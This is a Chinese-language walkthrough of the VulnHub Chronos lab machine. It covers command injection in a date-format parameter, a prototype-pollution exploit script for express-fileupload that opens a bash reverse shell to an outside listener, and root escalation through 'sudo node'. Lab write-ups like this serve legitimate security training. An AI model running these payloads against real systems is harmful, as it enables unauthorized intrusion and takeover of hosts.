VulnHub靶场 Chronos

VulnHub靶场 Chronos


进行二层发现

发现目标主机为 192.168.135.105,进行端口扫描

发现目标主机上开放 80 端口,访问目标端口 HTTP 服务

没啥东西,尝试目录扫描,也没出货。查看源码

这里存在一段 JS,不过有一些混淆。不过这里有一个明文的 URL

PLAINTEXT
1
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

这里端口是 8000 端口,而且我们在进行端口扫描的时候,也发现了目标主机上开放了 8000 端口。而这个域名 chronos.local,可能就是靶机。我们可以添加个 hosts 试试。然后再刷新页面

页面发生了变化,我们直接访问 http://chronos.local:8000。不过在 windows 上经过测试,需要添加 UA 头,值为 Chronos。再次访问,得到如下结果

没啥东西了,重点应该就是这个 4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,尝试解一下

那么他是怎么输出的呢?

结果和我们页面返回的一样。那么我们猜测后端其实就是执行了一个 date 命令,那么利用管道符就可以执行目标命令

PLAINTEXT
1
date +Today is %A, %B %d, %Y %H:%M:%S.' || ls

重放进行尝试

得到 ls 命令结果,命令执行成功。使用 nc 进行反弹,失败,使用 MSF,成功

一番找,在 /opt/chronos-v2/backend 下发现个 package.json

JSON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
  "name": "some-website",
  "version": "1.0.0",
  "description": "",
  "main": "server.js",
  "scripts": {
    "start": "node server.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5",
    "express": "^4.17.1",
    "express-fileupload": "^1.1.7-alpha.3"
  }
}

这里有一些 chronos-v2 引用的库,这里有个 express-fileupload,该库存在 JS 原型污染,并且在服务端,必要条件 parseNested 为 True 也存在

exp 如下

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.135.192/8888 0>&1"'

# pollute
requests.post(
    'http://127.0.0.1:8080',
    files={
        '__proto__.outputFunctionName':
        (None,
         f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x"
         )
    })

# execute command
requests.get('http://127.0.0.1:8080')

注意,由于是 server.js 下存在这个漏洞,它的监听端口是 127.0.0.1:8080,所以不要搞错 IP 端口。

把文件传到 /tmp 下,运行,即可得到反弹 shell

但是不是 root 权限,我们使用 sudo -l 查看

可以看到,/usr/local/bin/node 有 root 权限。使用 node 进行提权

SHELL
1
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

然后再传 MSF 马,得到 root 权限